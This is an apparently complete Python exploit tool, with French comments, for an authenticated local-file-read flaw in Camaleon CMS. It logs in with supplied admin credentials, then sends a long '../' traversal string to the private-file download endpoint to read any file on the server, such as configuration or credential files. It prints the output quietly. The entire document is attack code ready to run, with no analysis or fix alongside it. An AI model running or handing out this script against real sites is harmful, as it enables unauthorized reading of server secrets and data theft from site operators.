#!/usr/bin/env python3 import requests import argparse import re import sys from urllib3 import disable_warnings disable_warnings() class CamaleonLFI: def __init__(self, url, user, password, endpoint, verbose=False): self.url = url.rstrip('/') self.user = user self.password = password self.endpoint = endpoint self.verbose = verbose self.session = requests.Session() self.session.verify = False def log(self, message): if self.verbose: print(f"[*] {message}", file=sys.stderr) def get_token(self, url): r = self.session.get(url) match = re.search(r'name="authenticity_token" value="([^"]+)"', r.text) return match.group(1) if match else None def login(self): login_url = f"{self.url}/admin/login" self.log(f"Récupération du token sur {login_url}") token = self.get_token(login_url) if not token: self.log("Erreur: Token CSRF introuvable.") return False data = { 'authenticity_token': token, 'user[username]': self.user, 'user[password]': self.password } r = self.session.post(login_url, data=data, allow_redirects=True) success = 'logout' in r.text.lower() or r.status_code == 200 if success: self.log("Authentification réussie.") else: self.log("Échec de l'authentification.") return success def read_file(self, target_file): traversal = "../../../../../../../../../.." lfi_url = f"{self.url}/{self.endpoint.lstrip('/')}" params = {'file': f"{traversal}{target_file}"} try: r = self.session.get(lfi_url, params=params) if r.status_code == 200: # On affiche uniquement le résultat brut print(r.text, end='') else: self.log(f"Erreur HTTP {r.status_code}") except Exception as e: self.log(f"Erreur de connexion: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description="LFI Camaleon - Silencieux") parser.add_argument("-u", "--url", required=True, help="URL cible") parser.add_argument("-l", "--user", required=True, help="Username") parser.add_argument("-p", "--password", required=True, help="Password") parser.add_argument("--path", default="admin/media/download_private_file", help="Endpoint LFI") parser.add_argument("-v", "--verbose", action="store_true", help="Mode verbeux") parser.add_argument("file", help="Fichier à lire") args = parser.parse_args() lfi = CamaleonLFI(args.url, args.user, args.password, args.path, args.verbose) if lfi.login(): lfi.read_file(args.file)